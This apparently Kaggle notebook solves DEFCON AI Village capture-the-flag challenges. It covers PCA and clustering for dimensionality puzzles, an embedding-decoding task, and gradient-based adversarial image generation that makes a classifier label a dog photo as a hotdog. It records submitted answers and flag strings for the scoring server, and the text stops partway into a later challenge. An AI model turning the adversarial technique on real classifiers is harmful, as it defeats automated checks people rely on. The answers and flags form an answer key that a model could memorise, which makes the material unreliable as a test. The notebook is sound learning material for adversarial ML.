{"metadata":{"kernelspec":{"language":"python","display_name":"Python 3","name":"python3"},"language_info":{"pygments_lexer":"ipython3","nbconvert_exporter":"python","version":"3.6.4","file_extension":".py","codemirror_mode":{"name":"ipython","version":3},"name":"python","mimetype":"text/x-python"}},"nbformat_minor":4,"nbformat":4,"cells":[{"cell_type":"markdown","source":"# CTF Template\n\nWelcome to the DEFCON AI Village Capture-the-Flag (CTF). Feel free to copy this notebook and use it as the foundation for your submissions.\n\n## Intro\n\nHelp Henry Hacker get to Homecoming! In this series of challenges, you'll be interacting with various machine learning challenges. You're welcome to use this notebook as a template, but can also use any other resources. `Submission Helper` code is just there to show you how to interact with a challenge. You're encouraged to write your own code. Flags will be funny-looking strings that contain `FLAG{}`. There are no fake flags, so if you're returned a string like that, you found it! Collect those flags, add them next to their corresponding challenge in `solution.csv` (provided) and submit them to the scoreboard. We've provided an `add_flag()` function to help with this. There's no limit to how many times you try the challenges, but you can only submit `solution.csv` to the scoreboard 50 times per day. \n\nCTF's are inherently puzzles that are intended to challenge you and help you learn new things. Sometimes they may be a little ambiguous or misleading. That's part of the challenge! However, if you feel like a challenge or piece of infrastructure isn't working correctlyd, contact the organizers through the Kaggle discussion board or the discord channel.","metadata":{}},{"cell_type":"code","source":"# We're just importing some stuff to make sure the challenges and helper code works.\n# Feel free to import anything else you need (or solve in a different language), but if you overwrite these, provided code may not work.\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport requests\nfrom IPython.display import Image as Ima\nfrom IPython.display import clear_output, display\nfrom PIL import Image as Im\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nimport torch.nn as nn\nimport joblib\nimport matplotlib.pyplot as plt\nimport json\nimport base64\nimport shutil\nimport pickle\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\ndir_name = \"../input/ai-village-ctf\"\n\n# Input data files are available in the read-only \"../input/\" directory\n# You can write up to 20GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using \"Save & Run All\" \n# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:30:18.162009Z","iopub.execute_input":"2022-09-11T20:30:18.162816Z","iopub.status.idle":"2022-09-11T20:30:20.275244Z","shell.execute_reply.started":"2022-09-11T20:30:18.162711Z","shell.execute_reply":"2022-09-11T20:30:20.273989Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# A helper function for tracking flags. You could do it yourself, but why?\n\ndef add_flag(challenge_id: str, flag: str) -> str:\n    try:\n        submission_path = \"/kaggle/working/submission.csv\"\n        template_path = f\"{dir_name}/submission.csv\"\n        if not os.path.isfile(submission_path) :\n            shutil.copyfile(template_path, submission_path)\n        flags = pd.read_csv(submission_path, index_col=\"challenge_id\")\n        valid = flags.index.to_list()\n        if challenge_id in valid:\n            flags.at[challenge_id] = flag\n            flags.to_csv(submission_path)\n            print(\"Flag saved. If you want to update the scoreboard, click 'submit' on the right. Remember that you can only update your score on the scoreboard 50 times per day\")\n        else:\n            print(\"Invalid challenge_id\")\n    except:\n        print(\"We had trouble saving that flag. Keep a copy of it and contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:30:20.277388Z","iopub.execute_input":"2022-09-11T20:30:20.277974Z","iopub.status.idle":"2022-09-11T20:30:20.286545Z","shell.execute_reply.started":"2022-09-11T20:30:20.277935Z","shell.execute_reply":"2022-09-11T20:30:20.285310Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# HOTDOG (id: hotdog) -- 200 Points\n\n### Scenario\n\nThis is Chester. He's heard of Hotdog/Not Hotdog, but really wants to be classified as a hot-dog (get it?).\n\n### Objective\n\nHelp Chester classify as a hotdog.","metadata":{}},{"cell_type":"code","source":"Ima(filename=f'{dir_name}/hotdog/chester.png')","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:07:04.213900Z","iopub.execute_input":"2022-09-11T20:07:04.214305Z","iopub.status.idle":"2022-09-11T20:07:04.246904Z","shell.execute_reply.started":"2022-09-11T20:07:04.214270Z","shell.execute_reply":"2022-09-11T20:07:04.246037Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nIMAGE_DIMS = (224, 224)\n\nimg = Im.open(f\"{dir_name}/hotdog/chester.png\")\nimg = img.resize(IMAGE_DIMS)\n\n\nimg = Im.open(f\"../input/chesteroo/1200px-Hotdog_-_Evan_Swigart.jpg\")\nimg = img.resize(IMAGE_DIMS)\n\n\nplt.imshow(img)\n\n\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ntry:\n    r = requests.post(\"https://hotdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:07:06.631926Z","iopub.execute_input":"2022-09-11T20:07:06.632311Z","iopub.status.idle":"2022-09-11T20:07:07.488440Z","shell.execute_reply.started":"2022-09-11T20:07:06.632280Z","shell.execute_reply":"2022-09-11T20:07:07.487139Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"hotdog\", \"N4OAQQY4R9YYWE}LFB5FOZ26FEWS5G99NE8OAIVKOLCSFSPJETNHWFXSDZRNO1RS5BBFO6OE972JY457YHWEFOK4LGYSZ20W4A5ATW6OWHDAG9MUMY5DLRH06N4{D2Z3\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:45:56.956704Z","iopub.execute_input":"2022-09-11T20:45:56.957268Z","iopub.status.idle":"2022-09-11T20:45:56.972832Z","shell.execute_reply.started":"2022-09-11T20:45:56.957225Z","shell.execute_reply":"2022-09-11T20:45:56.971526Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math\n\nThis series of \"Math\" challenges is designed to introduce the concepts of dimensionality.\n\nData is often represented in a high dimensional space, but is actually several intrinsically low dimensional components that can be diagnosed. Intrinsic low-dimensionailty is incredibly important to machine learning because many ML algorithms rely on it. Medical EKG data is as single intrinsically 2 dimensional component, despite often being represented as 100 dimensions or more. The classic MNIST dataset is several components of 8-10 dimensions, depending on the digits class, despite being represented in 784 dimensions. The 4 math challenges are focused on this problem. **If you need a hint, ask Sven at the Art Booth.**","metadata":{}},{"cell_type":"markdown","source":"# Math Challenge 1 (id: math_1) -- 100 Points\n\nHow many clusters are in the clusters1.npy, clusters2.npy, and clusters3.npy? The key is the number of clusters in order, with no spaces. These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"cl1 = np.load(f'{dir_name}/math/clusters1.npy')\nprint(cl1.shape)\ncl2 = np.load(f'{dir_name}/math/clusters2.npy')\nprint(cl2.shape)\ncl3 = np.load(f'{dir_name}/math/clusters3.npy')\nprint(cl3.shape)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:07:21.064201Z","iopub.execute_input":"2022-09-11T20:07:21.065104Z","iopub.status.idle":"2022-09-11T20:07:21.088440Z","shell.execute_reply.started":"2022-09-11T20:07:21.065067Z","shell.execute_reply":"2022-09-11T20:07:21.087167Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from sklearn.cluster import KMeans\nfrom sklearn.mixture import GaussianMixture\nfrom sklearn.preprocessing import StandardScaler\n\ndef plot(d, r=40):\n    inertias = []\n    d_scaled = StandardScaler().fit_transform(d)\n    for i in range(2, r):\n        model = KMeans(i)\n        model.fit(d_scaled)\n        if i >= d.shape[0]:\n            r = i\n            break\n        inertias.append(model.inertia_)\n    plt.plot(list(range(2, r)), inertias)\n    plt.show()\n\ndef plot_gmm(d, r=40, type='full'):\n    bics = []\n    d_scaled = StandardScaler().fit_transform(d)\n    for i in range(2, r):\n        model = GaussianMixture(i, covariance_type='full')\n        model.fit(d_scaled)\n        if i >= d.shape[0]:\n            r = i\n            break\n        bics.append(model.bic(d_scaled))\n    plt.plot(list(range(2, r)), bics, color='orange')\n    plt.show()\n\nplot(cl1)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:29.843316Z","iopub.execute_input":"2022-09-11T19:37:29.843677Z","iopub.status.idle":"2022-09-11T19:37:32.275544Z","shell.execute_reply.started":"2022-09-11T19:37:29.843644Z","shell.execute_reply":"2022-09-11T19:37:32.274187Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"plot(cl2, 100)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:32.277270Z","iopub.execute_input":"2022-09-11T19:37:32.277760Z","iopub.status.idle":"2022-09-11T19:37:38.753194Z","shell.execute_reply.started":"2022-09-11T19:37:32.277713Z","shell.execute_reply":"2022-09-11T19:37:38.751974Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from sklearn.decomposition import PCA\n\ncl2_scaled = StandardScaler().fit_transform(cl2)\npca = PCA()\ncl2_pca = pca.fit_transform(cl2_scaled)\nexp_var_pca = pca.explained_variance_ratio_\ncum_sum_eigenvalues = np.cumsum(exp_var_pca)\nplt.step(range(0,len(cum_sum_eigenvalues)), cum_sum_eigenvalues, where='mid',label='Cumulative explained variance')\nplt.ylabel('Explained variance ratio')\nplt.xlabel('Principal component index')\nplt.legend(loc='best')\nplt.tight_layout()\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:38.754807Z","iopub.execute_input":"2022-09-11T19:37:38.755121Z","iopub.status.idle":"2022-09-11T19:37:39.059760Z","shell.execute_reply.started":"2022-09-11T19:37:38.755092Z","shell.execute_reply":"2022-09-11T19:37:39.058526Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"for i in range(1, 5):\n    pca = PCA(i)\n    d_transformed = pca.fit_transform(cl2_scaled)\n    print(d_transformed.shape)\n    plot(d_transformed)\n    plot_gmm(d_transformed)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:39.061447Z","iopub.execute_input":"2022-09-11T19:37:39.062719Z","iopub.status.idle":"2022-09-11T19:37:53.762996Z","shell.execute_reply.started":"2022-09-11T19:37:39.062670Z","shell.execute_reply":"2022-09-11T19:37:53.761612Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"plot(cl3, 20)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:53.764757Z","iopub.execute_input":"2022-09-11T19:37:53.765234Z","iopub.status.idle":"2022-09-11T19:37:54.457228Z","shell.execute_reply.started":"2022-09-11T19:37:53.765184Z","shell.execute_reply":"2022-09-11T19:37:54.455739Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_1\", \"submission\": f\"523\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:54.459309Z","iopub.execute_input":"2022-09-11T19:37:54.460039Z","iopub.status.idle":"2022-09-11T19:37:54.606558Z","shell.execute_reply.started":"2022-09-11T19:37:54.459979Z","shell.execute_reply":"2022-09-11T19:37:54.605371Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_1\", \"0QRLCYE3PY85CCUCS8X3WVKDDHU{Z7G9NFPJXQS3A7STVRTMVEQL6NHPDTBGXRDN}3W2LW5W2IN7ZG3D2LYHKRFGRV9KFIIIVQA5VZ2SH7BBKY3HXHT4V1IAW4MD75VJ\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:02.962476Z","iopub.execute_input":"2022-09-11T20:46:02.962998Z","iopub.status.idle":"2022-09-11T20:46:02.976122Z","shell.execute_reply.started":"2022-09-11T20:46:02.962954Z","shell.execute_reply":"2022-09-11T20:46:02.974731Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 2 (id: math_2) -- 200 Points\n\nWhat's the dimensionality of the data in first_dim1.npy, first_dim2.npy, and first_dim3.npy? The key is the number of dimensions in order, with no spaces.  These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"fdim1 = np.load(f'{dir_name}/math/first_dim1.npy')\nprint(fdim1.shape)\nfdim2 = np.load(f'{dir_name}/math/first_dim2.npy')\nprint(fdim2.shape)\nfdim3 = np.load(f'{dir_name}/math/first_dim3.npy')\nprint(fdim3.shape, '\\n')","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:54.623218Z","iopub.execute_input":"2022-09-11T19:37:54.623994Z","iopub.status.idle":"2022-09-11T19:37:54.645942Z","shell.execute_reply.started":"2022-09-11T19:37:54.623961Z","shell.execute_reply":"2022-09-11T19:37:54.645039Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"def calculate_explained_var_cumsum(d, dec=2):\n    pca = PCA()\n    d_scaled = StandardScaler().fit_transform(d)\n    pca.fit_transform(d_scaled)\n    print(np.round(pca.explained_variance_ratio_.cumsum(), dec).tolist())","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:54.647386Z","iopub.execute_input":"2022-09-11T19:37:54.648620Z","iopub.status.idle":"2022-09-11T19:37:54.655212Z","shell.execute_reply.started":"2022-09-11T19:37:54.648544Z","shell.execute_reply":"2022-09-11T19:37:54.654159Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"calculate_explained_var_cumsum(fdim1) # -> 3\ncalculate_explained_var_cumsum(fdim2) # -> 5\ncalculate_explained_var_cumsum(fdim3) # -> 4","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:54.656672Z","iopub.execute_input":"2022-09-11T19:37:54.657259Z","iopub.status.idle":"2022-09-11T19:37:54.672357Z","shell.execute_reply.started":"2022-09-11T19:37:54.657223Z","shell.execute_reply":"2022-09-11T19:37:54.670754Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_2\", \"submission\": \"354\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:54.674761Z","iopub.execute_input":"2022-09-11T19:37:54.675854Z","iopub.status.idle":"2022-09-11T19:37:54.814638Z","shell.execute_reply.started":"2022-09-11T19:37:54.675804Z","shell.execute_reply":"2022-09-11T19:37:54.813743Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_2\", \"CKPFMWG73NIU09DC9C2Q5OR77L}E6IAD5V52OQRYDRT1JEUHBYMPMYW3ANYMLMZIA6IGIBK8JCFCAG4BGTOL3ZU1E1YH6ZVRAB5T99XMPL4UQF4TW{H0O2N7A0F3BGKJ\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:13.117317Z","iopub.execute_input":"2022-09-11T20:46:13.117790Z","iopub.status.idle":"2022-09-11T20:46:13.131607Z","shell.execute_reply.started":"2022-09-11T20:46:13.117749Z","shell.execute_reply":"2022-09-11T20:46:13.130136Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 3 (id: math_3) -- 300 Points\n\nWhat's the dimensionality of the data in second_dim1.npy, second_dim2.npy, and second_dim3.npy? The key is the number of clusters in order, with no spaces.  These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"sdim1 = np.load(f'{dir_name}/math/second_dim1.npy')\nprint(sdim1.shape)\nsdim2 = np.load(f'{dir_name}/math/second_dim2.npy')\nprint(sdim2.shape)\nsdim3 = np.load(f'{dir_name}/math/second_dim3.npy')\nprint(sdim3.shape)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:54.830200Z","iopub.execute_input":"2022-09-11T19:37:54.831365Z","iopub.status.idle":"2022-09-11T19:37:54.853135Z","shell.execute_reply.started":"2022-09-11T19:37:54.831330Z","shell.execute_reply":"2022-09-11T19:37:54.852001Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"calculate_explained_var_cumsum(sdim1) # -> 4\ncalculate_explained_var_cumsum(sdim2) # -> 7\ncalculate_explained_var_cumsum(sdim3) # -> 4","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:54.854478Z","iopub.execute_input":"2022-09-11T19:37:54.855367Z","iopub.status.idle":"2022-09-11T19:37:54.865280Z","shell.execute_reply.started":"2022-09-11T19:37:54.855332Z","shell.execute_reply":"2022-09-11T19:37:54.863843Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_3\", \"submission\": \"474\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:54.866908Z","iopub.execute_input":"2022-09-11T19:37:54.867245Z","iopub.status.idle":"2022-09-11T19:37:55.012966Z","shell.execute_reply.started":"2022-09-11T19:37:54.867213Z","shell.execute_reply":"2022-09-11T19:37:55.011275Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_3\", \"QD3DL8F9PHOA11G0AFCBIKROH}{02ZD1QXMCLIR7ZIGR5IHCF7A12P4JRL63EP5MJLOC17FLWP3_WL3P3EXCAYTIH11TXOEAZRM0565FUHWZPG4T9P4P2T45DRTMS8GO\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:16.589437Z","iopub.execute_input":"2022-09-11T20:46:16.589984Z","iopub.status.idle":"2022-09-11T20:46:16.603181Z","shell.execute_reply.started":"2022-09-11T20:46:16.589942Z","shell.execute_reply":"2022-09-11T20:46:16.601614Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 4 (id: math_4) -- 400 Points\n\nWhat's the dimensionality of the clusters in clusters1.npy? The key is the dimensions ordered by cluster size (smallest to largest), with no spaces.  These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"cl1.shape","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.028100Z","iopub.execute_input":"2022-09-11T19:37:55.028481Z","iopub.status.idle":"2022-09-11T19:37:55.035789Z","shell.execute_reply.started":"2022-09-11T19:37:55.028438Z","shell.execute_reply":"2022-09-11T19:37:55.034895Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"model = KMeans(5)\nlabels = model.fit(cl1).labels_\nlabels","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.036711Z","iopub.execute_input":"2022-09-11T19:37:55.037014Z","iopub.status.idle":"2022-09-11T19:37:55.067151Z","shell.execute_reply.started":"2022-09-11T19:37:55.036987Z","shell.execute_reply":"2022-09-11T19:37:55.066031Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"for l in set(labels):\n    indices = [i for i, x in enumerate(labels.tolist()) if x == l]\n    data_in_cluster = cl1[indices]\n    print(len(data_in_cluster))\n    calculate_explained_var_cumsum(data_in_cluster)\n    print()\n    \n# 5, 4, 3, 1, 2","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.068816Z","iopub.execute_input":"2022-09-11T19:37:55.069170Z","iopub.status.idle":"2022-09-11T19:37:55.113245Z","shell.execute_reply.started":"2022-09-11T19:37:55.069137Z","shell.execute_reply":"2022-09-11T19:37:55.111968Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_4\", \"submission\": \"54312\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.114719Z","iopub.execute_input":"2022-09-11T19:37:55.115144Z","iopub.status.idle":"2022-09-11T19:37:55.256727Z","shell.execute_reply.started":"2022-09-11T19:37:55.115108Z","shell.execute_reply":"2022-09-11T19:37:55.255828Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_4\", \"ZWBFFEG84AE4MERMVYGNSFQVJCYILOW50D7}3V951DCSBCU1PC1TXCIED6FJWTELMAI478REZWUYWM6ENWITDA4RL84WT0K232F{MIEEVLSNPQG06Y7Q7N29A3WP4FC1\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:19.784332Z","iopub.execute_input":"2022-09-11T20:46:19.784844Z","iopub.status.idle":"2022-09-11T20:46:19.797520Z","shell.execute_reply.started":"2022-09-11T20:46:19.784800Z","shell.execute_reply":"2022-09-11T20:46:19.796299Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WIFI (id: wifi) -- 200 Points\n\n### Scenario\n\nYou really need to check your email, unfortunately you don't know the password.  Fortunately, someone wrote it down.  Unfortunately, it's written down on a low-dimensional manifold embedded in a very high-dimensional space.  Check out the `wifi/Embedded characters.npz` file -- a list of tokens is given in the `tokens` key with their corresponding embeddings in the same order under the `embeddings` key -- and recover the password.\n\n### Objective\n\nThe password is your flag, like all others, it has the format `FLAG{something}`","metadata":{}},{"cell_type":"code","source":"f = np.load(f'{dir_name}/wifi/Embedded_characters.npz')\ntokens = f['tokens']\nembeddings = f['embeddings']\n\nprint(tokens)\nprint(embeddings)\n\nprint(tokens.shape)\nprint(embeddings.shape)","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.271294Z","iopub.execute_input":"2022-09-11T19:37:55.271775Z","iopub.status.idle":"2022-09-11T19:37:55.302432Z","shell.execute_reply.started":"2022-09-11T19:37:55.271739Z","shell.execute_reply":"2022-09-11T19:37:55.301630Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from sklearn.decomposition import PCA\n\nmodel = PCA(2)\nembeddings_transformed = model.fit_transform(embeddings)\nplt.scatter(embeddings_transformed[:, 0], embeddings_transformed[:, 1])\nplt.grid()\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.304122Z","iopub.execute_input":"2022-09-11T19:37:55.304802Z","iopub.status.idle":"2022-09-11T19:37:55.593281Z","shell.execute_reply.started":"2022-09-11T19:37:55.304768Z","shell.execute_reply":"2022-09-11T19:37:55.592119Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"d = []\nfor token, emb in zip(tokens.tolist(), embeddings_transformed):\n    d.append((token, emb[0]**2 + emb[1]**2))\n    \nd = sorted(d, key=lambda x: x[1])\nl = [x[0] for x in d]\nprint(''.join(l))","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.594805Z","iopub.execute_input":"2022-09-11T19:37:55.595238Z","iopub.status.idle":"2022-09-11T19:37:55.605842Z","shell.execute_reply.started":"2022-09-11T19:37:55.595193Z","shell.execute_reply":"2022-09-11T19:37:55.604594Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"wifi\", \"submission\": \"FLAG{TURNED}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T19:37:55.617081Z","iopub.execute_input":"2022-09-11T19:37:55.618264Z","iopub.status.idle":"2022-09-11T19:37:55.759337Z","shell.execute_reply.started":"2022-09-11T19:37:55.618213Z","shell.execute_reply":"2022-09-11T19:37:55.757971Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"wifi\", \"GHY1GBZ8NUT8EARED250708V67R0ESV6BVFNUMDL80DFQ79TJMEVP0ULFUZBS7L80EYG2OPP1BJ3ULI}QA3YUZDNBK6OIO411WDQXCFDKQO{A219X8HNT5K606FLUF8Z\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:23.208216Z","iopub.execute_input":"2022-09-11T20:46:23.208721Z","iopub.status.idle":"2022-09-11T20:46:23.221815Z","shell.execute_reply.started":"2022-09-11T20:46:23.208678Z","shell.execute_reply":"2022-09-11T20:46:23.220284Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# HOTTERDOG (id: hotterdog) -- 400 Points\n\n### Scenario\n\nChester submitted himself in the \"most creative hotdog\" contest. They use machine vision to score the hotdogs, but oh no he already submitted his headshot.\n\n### Objective\n\nHelp Chester classify as a hotdog, but it has to look like Chester to a human. Modify his picture to fool a classifier.","metadata":{}},{"cell_type":"code","source":"!pip install tensorflow==1.13.1\n!pip install Keras==2.2.4","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import tensorflow as tf\nfrom tensorflow import keras\nfrom keras.applications.mobilenet import preprocess_input\nfrom keras.models import load_model\nfrom keras.preprocessing.image import img_to_array, array_to_img\nfrom PIL import Image\nfrom imagehash import phash\nimport numpy as np\nfrom keras import backend as K\n\ndef hash_hamming_distance(h1, h2):\n    s1 = str(h1)\n    s2 = str(h2)\n    return sum(map(lambda x: 0 if x[0] == x[1] else 1, zip(s1, s2)))\n\ndef is_similar_img(path1, path2):\n    image1 = Image.open(path1)\n    image2 = Image.open(path2)\n\n    dist = hash_hamming_distance(phash(image1), phash(image2))\n    return dist\n\ndef prepare_image(image, target=(224, 224)):\n    # if the image mode is not RGB, convert it\n    if image.mode != \"RGB\":\n        image = image.convert(\"RGB\")\n\n    # resize the input image and preprocess it\n    image = image.resize(target)\n    image = img_to_array(image)\n    image = np.expand_dims(image, axis=0)\n    image = preprocess_input(image)\n    # return the processed image\n    return image\n\ndef create_img(original_image, model, target_str, target_idx, des_conf=0.95, learning_rate=0.01):\n    model_input_layer = model.layers[0].input\n    model_output_layer = model.layers[-1].output\n\n    max_change_above = original_image + 5\n    max_change_below = original_image - 5\n\n    # Create a copy of the input image to hack on\n    hacked_image = np.copy(original_image)\n\n    # Define the cost function.\n    # Our 'cost' will be the likelihood out image is the target class according to the pre-trained model\n    cost_function = model_output_layer[0, target_idx]\n\n    # We'll ask Keras to calculate the gradient based on the input image and the currently predicted class\n    # In this case, referring to \"model_input_layer\" will give us back image we are hacking.\n    gradient_function = K.gradients(cost_function, model_input_layer)[0]\n\n    # Create a Keras function that we can call to calculate the current cost and gradient\n    grab_cost_and_gradients_from_model = K.function([model_input_layer, K.learning_phase()], [cost_function, gradient_function])\n\n    cost = 0.0\n\n    # In a loop, keep adjusting the hacked image slightly so that it tricks the model more and more\n    # until it gets to at least 80% confidence\n    while cost < des_conf:\n        # Check how close the image is to our target class and grab the gradients we\n        # can use to push it one more step in that direction.\n        # Note: It's really important to pass in '0' for the Keras learning mode here!\n        # Keras layers behave differently in prediction vs. train modes!\n        cost, gradients = grab_cost_and_gradients_from_model([hacked_image, 0])\n\n        # Move the hacked image one step further towards fooling the model\n        # print gradients\n        hacked_image += np.sign(gradients) * learning_rate\n\n        # Ensure that the image doesn't ever change too much to either look funny or to become an invalid image\n        hacked_image = np.clip(hacked_image, max_change_below, max_change_above)\n        # hacked_image = np.clip(hacked_image, -1.0, 1.0)\n\n        print(\"Model's predicted likelihood that the image is a {}: {}\".format(target_str, cost))\n\n    hacked_image = hacked_image.reshape((224,224,3))\n    img = array_to_img(hacked_image)\n    return img\n","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"IMAGE_DIMS = (224, 224)\noriginal_image = Im.open(f'{dir_name}/hotterdog/chester.png').resize(IMAGE_DIMS)\noriginal_image = prepare_image(original_image)\nimg = original_image\n\nwith open(f'{dir_name}/salt/picklemodel', 'rb') as f:\n    model = pickle.load(f)\n    \nimg = create_img(img, model, 'hotdog', 934, 0.99)\n\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\ntry:\n    r = requests.post(\"https://hotterdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:44:58.100776Z","iopub.execute_input":"2022-09-11T20:44:58.101242Z","iopub.status.idle":"2022-09-11T20:45:02.703261Z","shell.execute_reply.started":"2022-09-11T20:44:58.101205Z","shell.execute_reply":"2022-09-11T20:45:02.701785Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"hotterdog\", \"WRGJXMOEHV860HAIO2JQVTZ5HFL4TD557{4RJ90QX1GBDBEPRF7D7T38ILKYHRZH}8HIIMBOHUH3CZG2TLKAGTZ6XUGCAGPEM2GLR35OO0KOLZ9H4TQUCUMUZSCJVFFK\")","metadata":{"execution":{"iopub.status.busy":"2022-09-11T20:46:26.578635Z","iopub.execute_input":"2022-09-11T20:46:26.579084Z","iopub.status.idle":"2022-09-11T20:46:26.590943Z","shell.execute_reply.started":"2022-09-11T20:46:26.579050Z","shell.execute_reply":"2022-09-11T20:46:26.589529Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Honorstudent (id: honorstudent) -- 300 Points\n\n### Scenario\n\nLook at your report card! That's an F. You won't be able to go to homecoming with that grade. Can you use some carefully placed whiteout to fool your parents into thinking it's an A?\n\n### Objective\n\nModify and submit your tampered `f.png`. Be careful to not overdo 